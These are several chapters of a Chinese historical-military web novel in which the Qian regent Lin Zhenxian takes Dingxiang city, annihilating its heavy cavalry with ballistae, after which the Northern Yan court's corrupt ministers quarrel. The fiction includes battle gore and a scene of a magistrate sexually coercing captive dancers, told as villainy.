胖子本以为这次打突袭能多砍几个北燕人的脑袋呢,这下还砍什么了? 他垂头丧气地坐在另一边的椅子上,沉默不语。 何明远立刻就看出他表情有些不满。 这次突袭至关重要,一丝一毫的差池都不能有,于是他主动说道:“王爷,不如让末将去守后方吧,小胖武艺高强,您带着他可以当先锋大将用,登城楼的时候也能鼓舞士气。” 林震仙鹰视狼顾的回头,见胖子一脸激动,冷哼一声。 “哼,也罢,就给他个机会。” “谢大帅!” “别谢,本王告诉你,让你登城楼的时候你他妈要是登不上去,本王就...” 胖子打断道:“您就把胖爷的脑袋拧下来当夜壶!” “呵,呵呵呵。”林震仙都被他这句胖爷气笑了,摆摆手,让他该干啥干啥去。 大船继续行进,在靠近定襄城南边百里的位置停下,五千人马乘坐竹筏子下船,顺利上岸。 这里是一片丘陵,山体高低起伏,但是坡度不大,远远不及太行山那般巍峨。 队伍整齐划一,整理好自己的刀枪剑戟,在岸边列队。 全军只有几名将军有马。 这也是没办法的事情,不是大乾缺马,而是在船上马实在太占地方了。 再说这次是奇袭,弄太多的马,动静太大,如果因为这点而失了先机,林震仙会后悔死的。 此刻,这位身经百战的老王爷骑在马上,手里拿着长刀,背后背着一把巨弓。 这把弓,整个大乾能拉开的人,屈指可数。 三十年前,林震仙就是靠这把弓,在两百步外射死韩国第一大将军韩峰,从而名震天下。 “将士们!!” 林震仙勒着缰绳在五千士兵面前来回巡视,大吼道:“北燕那群王八犊子趁我大乾空虚之际,偷袭代县,百姓死伤无数,妇女儿童也惨到毒手!事后他们非但不认错还说我们倒打一耙,今日老夫就带领你们一雪前耻!” “一雪前耻!” “一雪前耻!” “一雪前耻!” “众将士听令,随我前进!!” 林震仙一抽马屁股去往队伍最前端,队伍开始徐徐前进,粮草辎重也紧紧跟在后面。 对这支队伍来说,已经不存在什么兵马未动粮草先行了。 先行个鸟啊? 用林震仙的话说就是,你们只需要在攻城前吃一顿饭即可,剩下的就吃北燕的。 这就是林臻说的,以战养战,打到哪抢到哪吃到哪。 ...... 负责守卫定襄城的是北燕将军,燕贺平。 说是将军,实则就是个七品的裨将,因为负责看守定襄,防范秦国和韩国,所以多年来在朝廷眼中几乎就是小透明一般的存在。 谁让这两个国家都怂得要死呢。 燕贺平不是没有打过擅自出兵的主意,可定襄城的军备并不多,充其量只有两千骑兵,这点兵力攻城那简直就是送死。 这样一来,他几乎就没有了晋升渠道。 前阵子听说雁门关那边闹土匪,朝廷很生气,征兆周围几个郡县的兵力都去剿匪了。 他本来也想去,但是朝廷说定襄城安危至关重要,就免除了他出兵的资格。 燕贺平气得骂娘,但也没办法,只好继续在城里苟着,每天喝喝酒,看看美人跳舞,日子过得不说舒坦,但也潇洒自在。 可这人吧,一旦安逸下来就会开始怀念以前金戈铁马时的故事,总想着能重温一次。 燕贺平就有这样的想法,可偏偏没有机会。 此刻,府衙内,郡守又宴请他来看舞蹈。 姑娘们一个个生得俏丽,个子又高,舞姿飘荡间白花花的大腿若隐若现。 然而燕贺平却没有任何感觉,低头喝了口酒。 第506章 对对对,都拉出去一起砍死 北燕相比于其他诸国而言,人口较少,宜居地并不多,大部分都集中在云中、雁门等地。 像定襄这样的城池本来人口就不多,主要作用还是防范秦国和韩国,但这几年秦、韩两国一个比一个消停,燕贺平很无奈,看着眼前板着脸不断扭动舞姿的姑娘,兴致缺缺。 这些女子有些是被他们征兆来的,也有从别的国家掳来的,所以很多姑娘都很不情愿,即便跳动得妩媚,但内心仍是十分抗拒。 定襄县县令郝爱民也不是什么好鸟,多年来利用职务之便吃拿卡要,把当地百姓都祸害遍了。可他又偏偏懂得一些民生,从来不在粮食上为难,所以他任职多年来从没有起义的事情发生。 朝廷曾经想提拔他,但是他都拒绝了。 他知道,像他这种没有家族背景的人,去了京城也是被人玩死,还不如潇潇洒洒地在定襄当土皇帝,更何况这些年秦、韩两国那么老实。 郝爱民的一双三角眼亮晶晶的,盯着面前几个姑娘都大腿猛看,时不时喝上一口酒,品味道:“贺平啊,你瞧,那姑娘还真不错,皮肤白花花的,要不你先尝尝?” 燕贺平也喝了口酒,摇摇头:“我没兴趣。” “兄弟今天兴致不高啊?要不我找点专业的人来伺候你?” 郝爱民口中专业的人,其实就是职业小姐。 这也算定襄县的一大特色,还有远近闻名的青楼一条街,比南楚秦淮两岸还有名气。 燕贺平还是摇头,“这些年早就玩够了,你慢慢享受吧,我喝点酒。” “哥哥知道你心里苦,可是现在没有仗打,好不容易出来个悍匪,朝廷里的几个派系都抢疯了,哪里能轮得到你呢?还是跟哥哥好好享清福吧,人活一世为了什么?当然是开心!” “可是我很不开心,就因为我没有势力,没有家族撑腰,剿匪就不带我去?奶奶的,枉我年少习武,如今竟然报国无门。” “眼下就这个世道,你也改变不了什么,还是及时行乐要紧。”说完,郝爱民对下面的武姬招招手,几名武姬咬着红唇上前,另有两位原地不动。 郝爱民眉头一皱:“怎么?不愿意?来人呐,把她俩拉出去砍了。” “是!” 立刻有衙役上前将她二人抓住,这时,另一个衙役说道:“启禀大人,这女人的父母还在马棚里关着呢,要不要一起砍了?” 要不说会来事的人能升官呢,郝爱民说道:“对对对,都拉出去一起砍死。” “不要!!”那姑娘哭着喊了一声,屈伸跪下,“不要,不要杀我父母。” “哦?那你应该怎么表现啊?”郝爱民很得意地勾勾手指。 女人知道,自己需要屈辱地爬过去。 她咬破下唇,痛苦地闭上眼睛,在所有人戏谑以及不怀好意的笑声中,一点一点向郝爱民爬去。 “哈哈哈哈。” “大人,这小娘们的屁股还真俏啊。” “你看她撅的,这曲线,这弧度,大人今天有福了啊。” “哈哈哈哈。”郝爱民放肆大笑。 这就是权力的好处。 不喜欢我? 嫌弃我胖? 嫌弃我丑? 还不是要乖乖地爬到老子身边来。 燕贺平冷眼看着这一切,无动于衷,好像很稀松平常。 他再次低头喝酒,对女子惊恐的尖叫声充耳不闻。 忽然,他似乎感觉到什么,抬眼看去,就见门外急匆匆跑来一守城士兵。 “报!!启禀将军,城外不知为何来了很多乾国的士兵,此刻正在扎营,瞧那架势是要进攻我定襄城!” “什么!?”燕贺平还没反应,郝爱民先一步从姑娘都胸口抬起头来,惊恐地说,“乾国的士兵怎么会出现在这里?” “末将不知,但对方打的确实是乾国的旗帜。” “可知道带兵来的人是谁?” “大纛上写着林字,旁边还有四爪金龙。” “是...是林震仙!!!??”郝爱民一口气没倒上来就险些昏死过去。 人的名树的影。 华夏第一战神林震仙居然带兵来定襄了? “完了...吾命休矣...”郝爱民刚刚还肆无忌惮地猥亵少女,现在就一副等死的样子。 反观燕贺平却没有。 他眼中不仅没有对林震仙的恐惧,反而有着无尽的战意。 如果这次能干死林震仙,那他绝对可以官升好多级,说不定可以进入朝廷的权力中心! 天赐良机啊! 他站起来,问道:“林震仙带了多少人?” “回将军,目测不下五千士兵。” “可有骑兵?” “没有,全都是轻装简行的步军。” “好!哈哈哈哈,就知道你林震仙不可能带着骑兵悄无声息地来到定襄,你这是给老子送军功来了啊!哈哈哈哈!” 郝爱民哆哆嗦嗦地说道,“兄弟,对方可是林震仙,依我看我们还是弃城逃跑吧!这仗根本没法打!” “不可能!老子等到就是这一天,况且林震仙没带骑兵,在定襄这小小的平原上就是我重骑兵的天下!你在城里躲好了,到时候军功有你一份!” “啥玩意?你真要出兵啊?” “废话,不出兵难道等着他来打我?传我的命令!”燕贺平大手一挥,“命令所有骑兵立刻上马,在城门口整装待发!这次我将亲自带队,突袭林震仙!” “是!” 天大的功劳,燕贺平等着的就是这一天。 只要干掉林震仙,哪怕损失惨重也值了! 世人皆以打败林震仙而骄傲,而他燕贺平就要做华夏第一人! ...... “林爷爷,这能行吗?定襄的守军真敢来打我们?” 很不情愿的王胖子正一下一下把木桩凿进土里。 此刻全军都摆出一副要扎营的样子。 林震仙望着定襄城楼的方向,头也不回地说道:“哔哔什么?干你的活儿。” “唉。”胖子叹了口气。 不是他不相信林震仙的判断,而是好不容易打个突袭居然不能主动出击,这让他很是烦躁。 谁知就在此时,林震仙突然大喊:“城门开了!” 第507章 八牛弩神威 双方距离很远,但林震仙还是清楚看到城门缓缓打开,里面黑压压一片骑兵,在一名年轻将军带领下齐刷刷朝自己这边而来。 “立刻备战!!” “八牛弩上弦,连续击发!!” 轰—— 战斗一触即发。 胖子扔掉手里的大锤,来到营寨最前面,将掩盖八牛弩的篷布一把掀开,露出下面锃亮的八牛弩。 这次林震仙可是把家伙带齐全了,整整五十架八牛弩,专门用来对付北燕骑兵的。 为了保险起见,他更是在战前特意训练了百名专业操作八牛弩的士兵。 此刻苍凉的平原上,暮色如血。 林震仙勒住缰绳,战马在枯黄的草地上踏起细碎的草茎。 他手按剑柄,目光如炬地望向定襄城。 忽然,那两扇包铁城门正发出令人牙酸的吱呀声,门轴转动时带起的铁锈扑簌簌落在青石板上,像撒了一把碎金。? 燕贺平身披玄铁打造的厚重铠甲,铠甲上刻着粗犷的狼首纹路,在阳光的照耀下泛着冷冽的金属光泽。 他骑在一匹高大的黑马之上,手中握着一柄足有一人高的长刀,刀身宽阔,刀刃闪着森冷的寒光。整套铠甲将他裹得严严实实,只露出一双炯炯有神的眼睛,眼中满是对敌人的滔天恨意。? “杀了这帮乾狗!” 燕贺平的声音如滚雷般在战场上炸响,他高举长刀,刀身在空中划出一道优美的弧线。 随着他的一声令下,身后的重骑兵们纷纷策马而出,整齐的马蹄声如同战鼓,敲打着每一个人的心脏。 重骑兵们身着同样厚重的铠甲,战马的身上也披着坚固的护甲,只露出四蹄和头部,远远望去,就像一支钢铁洪流,势不可挡。? 林震仙目光冷静地注视着这一切。 他身着一袭银色铠甲,腰间佩剑的剑柄上镶嵌着一块碧绿的宝石,在阳光下散发着淡淡的光芒。 他的脸上没有一丝慌乱,眉头微微皱起,眼神中透露出一丝凝重。? “八牛弩准备!”林震仙的声音沉稳有力,随着他的命令,士兵们迅速行动起来。 这些庞然大物由坚硬的木材和精铁打造而成,弩身长达数丈,弩弦粗如儿臂,上面搭载着长长的攻城凿。 士兵们两人一组,转动着巨大的轮轴,将弩弦拉开,巨大的张力让弩身发出微微的震颤。? 林震仙手持佩剑,剑尖直指天空,眼睛微眯,紧紧盯着逐渐逼近的重骑兵。 他在心中默默计算着距离,呼吸平稳而有节奏,仿佛整个世界都在这一刻静止,只剩下眼前的敌人和手中的指挥。? 当重骑兵进入射程的瞬间,林震仙的眼中闪过一道精光,果断地挥下手中的佩剑。 “放!” 嗡——? 随着一声令下,机括震颤的声音响彻天地,五十根攻城凿如同离弦的利箭,带着破风的尖啸声,齐刷刷地射向敌阵。 攻城凿的前端尖锐无比,在高速飞行中带着巨大的动能,瞬间穿透了重骑兵们的铠甲和身体。? “噗嗤!噗嗤!” “啊!!” “什么东西!?” “躲开,快躲开啊!!”破空声和肉体被穿透的声音交织在一起,无数重骑兵被这突如其来的攻击打得人仰马翻。 攻城凿巨大的冲击力将他们从马上掀飞,有的被钉在地上,有的则被射穿身体后甩到一旁。鲜血如喷泉般涌出,染红了地面,战马的嘶鸣声和士兵的惨叫声此起彼伏,整个战场瞬间变成了人间地狱。? 燕贺平看着眼前的惨状,神情大骇。 他怎么也没想到,自己引以为傲的重骑兵,在普通刀剑都难以伤其分毫的情况下,竟然被这看似普通的攻城凿轻易洞穿。 他的心中充满了震惊和疑惑,但此时容不得他多想,他必须迅速做出反应。? “分散!分散队形!”燕贺平大声怒吼着,声音中带着一丝颤抖。 他挥舞着长刀,试图指挥麾下的骑兵散开,避免被集中攻击。 然而,重骑兵们虽然训练有素,但在如此密集的攻击下,想要迅速分散谈何容易。? 就在燕贺平喊话的同时,令人毛骨悚然的弓弦震颤声再次传来。 林震仙远远的站在那里,目光冷静如冰,再次下达了射击的命令。 嗡—— 又是五十根攻城凿划破空气,带着死亡的气息,朝着已经有些混乱的重骑兵队伍射去。? “啊!!” “这仗还怎么打啊?” “我们可是重骑兵!这到底是什么东西?” “是攻城凿,攻城凿!!” 这一次,重骑兵们更加慌乱,许多人还没来得及做出反应,就被攻城凿射中。有的骑兵被射中战马,战马吃痛,疯狂地嘶鸣着,将骑兵甩下马背;有的骑兵被射中铠甲的缝隙,攻城凿直接穿透身体,当场毙命。惨叫声、呼喊声、战马的嘶鸣声交织在一起,整个战场一片混乱。? 燕贺平看着自己的军队在八牛弩的攻击下溃不成军,心中充满了绝望。 他是万万没想到林震仙竟然拥有如此强大的武器,完全克制了自己的重骑兵。 他咬了咬牙,眼中闪过一丝狠厉,决定亲自冲锋,或许能突破对方的防线。? 他紧紧握住手中的长刀,双腿猛地夹紧马腹,黑马会意,一声长嘶,朝着林震仙所在的方向冲去。 他的铠甲在阳光下闪烁着寒光,长刀在手中挥舞,带起阵阵风声。? 然而,他的举动并没有起到任何作用。 八牛弩再次准备完毕,随着林震仙的命令,一轮又一轮的攻城凿射向敌阵。 重骑兵们在这密集的攻击下,如同秋风中的落叶,纷纷凋零。? 战场逐渐安静下来,只剩下零星的战马嘶鸣声和伤员的呻吟声。 定襄城的城头,士兵们看着城下的惨状,表情十分惊恐。 在他们看来,自家的重骑兵天下无敌,别说就这点步军,就算是林震仙把大乾最厉害的骑兵带来也不够他们一轮冲锋的。 可谁知道,这些重骑兵竟然连人家的边都碰不到,酒杯全部射杀于此。 太可怕了。 太可怕了。 这仗还怎么打? 林震仙放下手中的佩剑,目光平静地注视着远方。 他知道,这支重骑兵应该是定襄城的所有骑兵力量,再往后,就是一群土鸡瓦狗了。 燕贺平躺在草地上。 他的手臂被攻城凿划伤,此刻如同断了一般。 他看着眼前的还在不断挣扎,没有死去的战友,心中充满了苦涩。 第508章 我还没打呢就投了? 一千重骑兵。 这个兵力就算冲击对方上万骑兵都是游刃有余的,甚至都不会造成太多损失。 但就是这样一支在燕贺平看来天下无敌的军队,竟然连乾军的边都没摸到,全部被射杀于旷野之上。 燕贺平不明白,为什么攻城凿这种东西居然可以当弓箭来射! 林震仙到底是用什么射的?威力又为何如此强大? 他躺在血泊之中,单手撑地,逐渐站起身来,动作艰难而痛苦。 林震仙发现还有活着的,忍不住咦了一声。 “咦?还有活着的?小胖,去看看。” “是。” 胖子有些不情不愿。 本以为能痛痛快快地打一场,谁知道根本就不需要他出场,五十架八牛弩直接平推了。 不过瘾,太过瘾了。 胖子骑着马过去,肩膀上扛着陌刀,瓮声瓮气地问:“你是谁?叫什么名字?” “哼。”燕贺平冷哼一声,“你又是谁?” “胖爷乃大乾虎烈将军王蓬。” “哦?你就是王胖子?呵,怪不得这么嚣张,我叫燕贺平,定襄守军将领。” “草,胖爷当什么大腕呢,名不经传的小辣鸡。”胖子扔过去一捆绳子,“来,自己捆上吧。” 胖子根本就没拿他当回事,殊不知这对燕贺平来讲是一股莫大的羞辱! 他当即脑门充血,大骂道:“士可杀不可辱!有种下马和你爷爷我打一架啊!” “呦呵?胖爷给你点逼脸,你还来劲了,看刀!” 胖子本就因为没杀到人,心里窝火呢。 见他还敢叫嚣,当即陌刀抡圆了劈砍过去。 燕贺平还真不是什么泛泛之辈,长刀横起来一档。 叮—— 火花四溅。 随即他用力一抬,将胖子的陌刀挑开,长刀挽成个刀花直劈胖子的战马。 胖子下刀抵挡,随即飞身下马,两人你来我往战成一团。 远处观望的林震仙摇了摇头:“这孩子,还是这么意气用事。” 说完他对身后的士兵大喊:“全军立刻进攻,趁机夺下定襄城!” “杀啊!!!” 后面的士兵早就按耐不住了,疯了似的朝定襄城门冲去。 盾牌兵狂奔掩护身后的云梯,弓箭手张弓拉箭瞄准城楼。 燕贺平见大势已去,已然报着必死决心。 就想着临死前拉着胖子当垫背。 可胖子岂是那么好拿下的? “小子,你武艺不错,不如弃暗投明,大乾有你的一席之地!”林震仙见乱军从中燕贺平依旧与胖子缠斗,不禁生出一丝恻隐之心。 这样的猛将,给北燕简直可惜了。 若能归顺大乾,他日必将是一把扎向其他国家的好刀。 燕贺平喊道:“我誓与定向共存亡!林震仙,你别白费心思!” “唉,可惜。” 林震仙不想杀他,但如果这个人报着必死的决心,那也只能忍痛。 毕竟战争不是儿戏,他不能让不稳定的祸害藏在军中。 暮春的风卷着黄沙掠过平原,将乾军的战旗吹得猎猎作响。 五千步卒如潮水般漫过枯黄的草地,前排盾牌兵举着丈二高的枣木盾,盾面绘着的金色朱雀纹在阳光下灼灼生辉,后排步兵扛着三丈长的云梯,木榫与铁环碰撞出细碎的声响,像极了死神在叩击城门的锁链。? “破城!屠敌!” 当先的百夫长咬着牙嘶吼,钢刀在手中划出雪亮的弧光。 士卒们的眼睛瞪得几乎要挣出眼眶,瞳孔里倒映着越来越近的定襄城堞,喉间滚动着来自胸腔的怒吼,仿佛要将一个月来长途奔袭的疲惫尽数吼散。 云梯兵肩膀上的木头压得锁骨生疼,却没人放慢脚步,眼睛里全都是对杀敌的热血与怒火。 林震仙在所有人身后大喊:“第一个登上城楼者,赏定襄半年赋税!” “杀啊!!!” 这一句话更是让全军疯狂了。 乾军将士们一个个悍不畏死地往前冲。 然而就在距城墙还有百步时,异变突生。? 堞口处突然升起一杆素白幡旗,布料在风中猎猎翻转,将“降”字绣纹抖得格外刺眼。 定襄县县令郝爱民跌跌撞撞地冲上城墙,官服前襟沾满泥灰,腰间玉带歪挂在胯骨上,手中攥着的白旗杆还在往下滴着墨迹,显然是临时赶制的。 他探出半身,肥大的衣袖被风灌得鼓胀,活像只白胖的鸭子:“王爷!别打了!我们降......投降!” “啊?” “我...” “这什么情况?” 旷野上的冲锋声戛然而止。 盾牌兵的枣木盾重重磕在地上,发出闷雷般的响动;云梯兵们肩颈一松,将沉重的云梯斜倚在草地上,木榫与地面摩擦出刺耳的声响。 大家都很不爽利。 有种用尽全力打出一拳,最后却没打中的挫败感。 林震仙在中军阵前勒住青骓马。 “开城门!”他扬声喝道,声音混着风沙扑向城头,“带着印信滚出来,本王一个不杀。”? 郝爱民如蒙大赦,胖脸瞬间涨成猪肝色。 他转身时被官袍绊倒,在女墙上摔了个屁股墩,却顾不上疼痛,连滚带爬地冲向城门楼。 沉重的门闩被粗麻绳吊离插孔的声响传来,包铁城门在数十名衙役的推动下缓缓开启,门缝里漏出的光线下,能看见城内百姓缩在街角的身影。? 城门洞开的刹那,郝爱民捧着漆盒跌跪在尘埃里。 盒中躺着半方青铜印,蟠螭纽上还缠着半片断裂的红绸,显然是从县署公堂紧急取下的。 他前额触地,官帽歪在一边,后颈上的肥肉堆成三道褶子:“大燕定襄县县令郝爱民,率六万军民......向大乾摄政王投降......” 林震仙翻身下马,靴底碾碎几星流萤般的磷火。 他接过漆盒,盯着郝爱民冷笑道,“你小子还真识时务,见打不过立刻投降,呵呵。” “额...呵呵呵,王爷说笑了,这北燕的狗官小的早就不想当了,以后唯王爷的命令是从。” 郝爱民不知道在他说这句话的时候,周围人都是怎么看他的。 就算知道他也不在乎。 荣誉与尊严,在他看来都无法和性命相比较。 旷野深处,金属交鸣的脆响突然炸起。 燕贺平的长刀劈开王胖子的陌刀,火星溅在他铠甲的狼首纹章上,将眼底的猩红映得愈发刺眼。 “燕狗看刀!”王胖子的陌刀重达八十斤,每劈出一刀都带着风雷之声,刀环撞击声震得人耳膜生疼。 他见燕贺平频频往城门方向张望,心中暗喜,刀势愈发狠辣,刀锋直取对方腰腹铠甲缝隙。? 忽听得城门方向传来欢呼声,眼角余光瞥见白旗招展,燕贺平心中一沉。 待看清郝爱民跪在尘埃中的模样,耳中嗡的一声,险些被王胖子劈中肩甲。 “郝爱民!”他厉声怒吼,长刀狠狠磕开敌刀,溅起的火星落在铠甲上,烫出几个焦黑的斑点,“你他妈竟敢卖国求荣?”? 郝爱民浑身发抖,胖手在地上摸索着捡起官帽,却不敢抬头看燕贺平喷火的双眼。 “郝爱民!我草你姥姥!”他挥刀砍向王胖子,却因分神被对方刀背砸中手腕,长刀当啷落地。 胖子没有下杀手。 对这样有骨气的汉子,他一向尊敬。 于是挥挥手,让亲兵他将捆了。 旷野上的乾军士卒已开始入城,盾牌兵们列成方阵鱼贯而过,长矛尖在夕阳下泛着冷光。 林震仙将印信纳入袖中,忽然听见城楼上有百姓啜泣,抬头望去,只见几个老弱正扒着堞口张望,眼中满是惊恐与期待。? “传令下去。”他翻身上马,青骓马不耐烦地刨着蹄子,“敢骚扰百姓者,斩。敢私藏兵器者,斩。” 话锋一转,又看向郝爱民:“你暂署原职,本王会派专人盯着你,若有不臣之心,你可仔细你的脑袋!” 燕贺平被王胖子的亲兵捆住,徐徐走进城里。 他目光死死的盯着郝爱民那张胖脸。 这个平日里总说“食君之禄担君之忧”的文官,此刻正点头哈腰地给乾军将领指路,官服上的泥灰反而成了邀功的勋章。 他忽然想起三年前,郝爱民在县衙后堂与他共饮时,曾指着墙上的《定襄县志》说“此城燕国南边咽喉”。 如今这咽喉,却被亲手割开献给敌人。? 暮色渐浓时,定襄城头的燕字大旗被扯下,取而代之的是绣着金龙的乾军战旗。 第509章 吵什么吵? 北燕京城的晨雾还未散尽,太极殿的青铜狼首门环便被撞得山响。 十六名金甲武士推开重达千斤的殿门,门轴转动时带起的气流卷动殿内垂落的狼皮帷幔,那些绣着狼首图腾的玄色帷幔如群狼低伏,在晨光中投下森冷的阴影。? 年轻的皇帝拓跋恪趿着金丝绣鞋,腰间玉带松垮地挂在胯间,龙袍前襟还沾着昨夜欢宴的酒渍。 他揉着太阳穴跨进金銮殿,殿内三十六根狼首浮雕柱上的夜明珠映出他眼底的青黑——自继位以来,这竟是他第三次早起听政。 “又要听那些老东西唠叨了。”他小声咒骂着,仰头灌了口随从递来的醒酒汤,汤汁顺着嘴角流进衣领,在绣着银狼的龙袍上晕开大片水痕。? 金銮殿正北的狼首御座上,拓跋恪懒洋洋地瘫坐着,手指有一下没一下地敲打着扶手。 御座前方的青铜香鼎里,沉水香正腾起袅袅青烟,将殿内大臣们的身影熏得影影绰绰。 当值的黄门侍郎尖着嗓子唱喏:“有事启奏,无事退朝——”? “臣有本奏!” 兵部尚书李崇厚跨出班列,腰间悬着的狼头鎏金佩撞击朝服,发出清脆的响声。 他年逾五旬,两鬓斑白,却因常年习武而腰背挺直。 “启禀陛下,历时三月的雁门关剿匪已获大捷,黑山十八寨匪首尽数伏诛,北疆百姓得以安居乐业!” 殿内响起稀稀拉拉的赞美声。 拓跋恪打了个哈欠,漫不经心地挥挥手:“办得好,赏。” 说着便要起身,靴底刚离龙椅踏板,却被李崇厚的声音拽住:“陛下,剿匪虽胜,然战后安抚需银三十万两,恳请陛下下旨户部拨款。” “准了。”拓跋恪头也不回,心里惦记着后宫新选的美人。 他刚迈出半步,殿内突然响起一声冷笑。 户部尚书张守正撩起绯色朝服,颤巍巍地站出来,胸前补子上的银狼纹章几乎要碰到李崇厚的肩膀:“李大人这是要把雁门关的石头都镀成金的吧?去年你在云州剿匪,报捷时说剿灭马匪五千,结果老夫亲自查点,当地马帮总共才三百人。” 李崇厚的瞳孔骤缩,手按剑柄“呛啷”抽出半寸寒芒:“张守正!你敢在朝堂上编排老夫?黑山之战的捷报,连左将军都按了手印!” 盐巴他猛然转头望向左侧武将班,目光如刀:“宇文豹将军,你倒是说句话啊!”? 左将军宇文豹向前半步,甲胄上的狼牙纹饰在烛火下泛着冷光:“张某人若再胡搅蛮缠,便是质疑我狼师军威!” 他按剑的手背青筋暴起,袖口露出的狼牙刺青几乎要扑向张守正。? “军威?”张守正突然从袖中抖出三封火漆密信,甩在丹墀上发出脆响。 “代州、朔州、云州三地刺史联名密奏,说李大人麾下每破一寨,必纵兵抢掠三日,美其名曰犒赏!这是朔州百姓联名按的血手印!” 他展开一幅白绢,上面殷红的指印如梅花般刺眼,“这三十七个孩童被剜去双目,就因为他们看见军爷们往粮车上搬绸缎!你们这些武将倒是告诉本官,这是何道理!” 殿内文臣们齐齐倒吸冷气,后排的御史中丞悄悄摸出弹劾奏章。 李崇厚的耳尖骤然通红,手指在剑柄上搓出火星:“刁民造谣!分明是反贼煽动百姓!”? “反贼?”张守正突然从袖中掏出一本蓝皮账册,封面狼首纹章上的金线已磨得发亮,“这是老夫比对了三年的户部存根。李大人每次剿匪,军费必超预算三成,去年在云州,你用剿匪名义征调的五千匹战马,其中两千匹入了幽州马场。而那马场的东家,正是令郎的岳丈。” 此话如惊雷炸响。 武将班中有人倒吸凉气,右将军赵铁柱的手不自觉摸向腰间酒囊。 李崇厚的喉结剧烈滚动,突然换上一副悲怆神色:“陛下明鉴!臣何尝不想精兵简政?可北疆匪患勾结乾军细作,若不厚赏士卒,谁肯为朝廷卖命?” 他猛然指向张守正,“况且张某人掌管户部,屡屡克扣军饷,去年狼师冬衣迟发两月,冻死三百弟兄,这笔账又该怎么算?” 张守正的老脸瞬间铁青,袖口突然抖出一卷黄绫:“胡说八道!这是先帝亲批的《军饷条例》!规定马军月饷三两,步军二两,李大人却私自克扣半两,美其名曰攒作修械银。” 他忽然冷笑,“可据老夫所知,你在燕京西市的三进宅院,正是用这修械银盖的吧?”? 殿内温度骤降。 狼皮帷幔被穿堂风掀起,露出殿外阴沉的天色。 李崇厚盯着张守正手中的黄绫,突然意识到对方早已布好局——从密信到账册,从血书到条例,分明是要借此次拨款之争,将他彻底扳倒。? “陛下!”他突然扑通跪下,额头撞在青砖上发出闷响,“臣征战半生,身上刀疤比铠甲的鳞片还多,如今却被文臣构陷!” 他抬头时眼角泛红,“若说贪墨,去年张大人主持修缮太庙,报称用了万两黄金,可老夫亲眼看见,那些所谓金箔不过是铜片刷漆!陛下明察啊!” 张守正的手抖得几乎握不住账册:“你......你血口喷人!太庙修缮有监理司造册......” “监理司?”李崇厚趁机站起,抹了把眼角,“监理司主簿王大人,不是张大人的嫡亲外甥吗?” 他忽然转向武将们,“弟兄们,咱们在前线卖命,后方却有人拿咱们的血换金子,这口气能咽得下吗?” “不能!” “不能!” 武将班中顿时响起此起彼伏的怒喝。 右将军赵铁柱当啷拔出佩刀,刀环撞击声震得殿内夜明珠乱颤:“老匹夫!信不信老子现在就开了你的膛,看看里面是不是全是账本!” “够了!”拓跋恪拍着御座扶手吼道,狼首烛台被震得歪倒,烛油泼在台阶上。 “金銮殿上吵什么吵?丞相呢?让丞相去查!”他盯着丹墀上散落的密信和账册,只觉得太阳穴突突直跳——这些老东西吵了这么久,竟全是为了各自的腰包。? 左丞相宇文虚中缓步走出,朝服上的狼首纹章绣工精致,与他眼中的精光交相辉映。 他向皇帝行了一礼,转身时袍袖带起香鼎烟雾,将争执的两派大臣隔开:“陛下圣明,臣定当秉公办理。” 说完他忽然看向两人,眼睛里冒出一道精光:“两位大人息怒,等下烦请李大人的军费清单交于三司会审。张大人的密信证据,呈与御史台备查。请放心,本相自会给你们一个公道!” 那精明的眼神中仿佛在说:慌什么?有钱大家一起赚嘛。? 两人对视一眼,都从对方眼中看到了其中深意,随即大家心照不宣地点点头。 就在此时,殿外突然传来急促的马蹄声。 一个浑身浴血的传令兵撞开殿门,甲胄上的狼首护心镜还在往下滴血,他膝盖砸在青砖上,声音里带着哭腔:“陛下!大事不好!乾军南侵,定襄城...定襄城县令郝爱民开城投降了!" 第510章 无能的皇帝 拓跋恪手中的醒酒汤碗“当啷”摔在御座台阶上,汤汁渗进青砖缝隙,像极了殿外传令兵甲胄上滴落的鲜血。 他盯着对方护心镜上斑驳的狼首纹章,突然发现那狼眼的位置正被血渍覆盖,仿佛圣兽流出血泪。? “你说什么?乾军入侵了?还是从南边来的?”兵部尚书李崇厚跨前半步,腰间狼头鎏金佩撞在丹墀上,指节因用力而泛白。 他余光扫过皇帝铁青的脸色,心里清楚这突如其来的战报将撕开剿匪大捷的谎言——三个月来他虚报的斩首数、吃空的军饷、挪用给儿子马场的两千匹战马,此刻都像悬在脖子上的狼首刀。 “雁门关在北,定襄城在南,乾军怎么可能从南边入侵,你他妈是不是在谎报军情!”他故意提高音量,眼角却瞥见户部尚书张守正袖口露出的账册边角,那是他最忌惮的东西。? 传令兵膝盖在青砖上磨出血痕,抬头时喉间带着哭音:“大人容禀!小的亲眼看见乾军战旗上的朱雀纹,领军的大将骑青骓马,腰悬螭龙纹剑...那是乾国摄政王林震仙的标配啊!” 他从怀中掏出半幅残破的旗帜,染血的朱雀尾羽在烛火下分外刺眼。 “定襄城四门已挂乾军大旗,郝爱民更是连自己的官印都献出去了!”? 殿内响起此起彼伏的抽气声。 张守正盯着那面朱雀旗,指尖在账册封皮上快速摩挲——南线城防预算被他克扣四成,原本该三年修缮的城墙,如今连女墙都长着荒草。 若乾军真如传言般善用八牛弩,这些豆腐渣工程根本不堪一击。 “坏了!我北燕兵力七成在雁门关剿匪,南线诸城皆是空城......”他突然踉跄半步,故意让账册掉在地上,“陛下,乾军这是声东击西啊!微臣猜测雁门关的匪患就是乾国派去的!其目的就是勾引我们去剿匪,然后他们好绕道南下!” 拓跋恪的怒吼像惊雷般炸开:“调兵!立刻让雁门关的狼师回防!!” 李崇厚心中一紧,狼师若回撤,雁门关的烂摊子将无人收拾,那些被他塞进军队的商队护卫、被他虚报战死的亲卫,都会在撤军时暴露。 他手按剑柄“呛啷”抽出半寸寒芒,与其说是威慑传令兵,不如说是给自己壮胆:“放弃雁门关?黑山十八寨的降匪刚收编,此时撤军必生叛乱!”? 张守正听出对方语气中的慌乱,知道戳中了要害。 他捡起账册,指尖划过战马调拔单那页:“李大人心疼狼师?还是心疼您在幽州马场的两千匹良驹?” 这话像重锤砸在李崇厚胸口。 那两千匹战马本应充实雁门骑兵,却被他以“伤病”为由调去儿子的马场,转手卖给西域商队牟利。 他耳尖骤红,索性撕破脸:“张某人少在这含沙射影!你修缮太庙时,用铜箔冒充金箔,贪墨二十万两白银,当我不知道?” 这话直击张守正命门。 去年太庙修缮,他确实联合监理司外甥虚报开支,将半数银两用在自家钱庄周转。 